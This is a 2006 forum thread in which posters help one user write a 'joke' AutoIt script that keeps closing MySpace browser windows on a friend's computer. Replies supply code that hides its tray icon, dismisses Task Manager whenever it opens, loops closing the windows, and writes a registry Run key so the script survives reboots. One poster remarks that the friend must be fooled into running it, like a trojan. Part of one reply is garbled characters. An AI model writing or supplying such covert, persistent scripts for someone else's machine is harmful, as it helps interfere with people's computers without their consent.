lolp1 Posted September 8, 2006 Share Posted September 8, 2006 I'm trying to make a script to play a "joke" on my friend, who is addicted to myspace. So far I got: #NoTrayIcon Opt("WinWaitDelay", 10) While 1 If WinActive("Windows Task Manager") Then Send("{Esc}") EndIf ToolTip(WinGetTitle(""), 0, 0) sleep(50) WinClose("MySpace - Mozilla Firefox", "") WinClose("MySpace - Microsoft Internet Explorer", "") I would like to make it though, so it keeps doing it, after it closes it once even. How can I do this? Basicly I want it to leep closing myspace untill he restarts his comp. Link to comment Share on other sites More sharing options...
cppman Posted September 8, 2006 Share Posted September 8, 2006 (edited) While 1 sleep(10) if (WinExists(WinGetTitle("MySpace"))) Then WinClose(WinGetTitle("MySpace")) WEnd This should work Works with any browser. but... it will close any other window that says MySpace on it too. but what are the chances eh? lol Edited September 8, 2006 by CHRIS95219 Miva OS Project Link to comment Share on other sites More sharing options...
Confuzzled Posted September 8, 2006 Share Posted September 8, 2006 Like any other virus or trojan, you will have to fool your (soon to be ex) friend to run it. Link to comment Share on other sites More sharing options...
AceLoc Posted September 8, 2006 Share Posted September 8, 2006 Opt("TrayIconHide", 1) RegWrite('HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run','YourApp', 'REG_SZ', 'C:\WINDOWS\YourApp.exe') While 1 sleep(10) if (WinExists(WinGetTitle("MySpace"))) Then WinClose(WinGetTitle("MySpace")) WEndoÝ÷ ÙÈZb«nØ^*.r¥vZv+n¦Ê&{^æ¬{¦¦Wªºpà ⧲rªºZÙ槢Ø^®Ç+eG+ºÚ"µÍÜ ][ÝÕ^RXÛÛYI][ÝËJB[]Ù] ][ÝÚËÝÚWÙ]Þ[ÝWÝØYYÚ] ][ÝË ][ÝÐÎÌLÕÒSÕÔÉÌLÛÝÛY^I][ÝÊB[ ][ÝÐÎÌLÕÒSÕÔÉÌLÛÝÛY^JoÝ÷ ÚØ^*.².×!jxjëh×6RegWrite('HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run','YourApp', 'REG_SZ', 'C:\WINDOWS\YourApp.exe') then he could never go on MySpace till he cleans his registery ! [quote name='AceLoc']I gots new sunglasses there cool.[/quote] Link to comment Share on other sites More sharing options...
Recommended Posts
Create an account or sign in to comment
You need to be a member in order to leave a comment
Create an account
Sign up for a new account in our community. It's easy!
Register a new accountSign in
Already have an account? Sign in here.
Sign In Now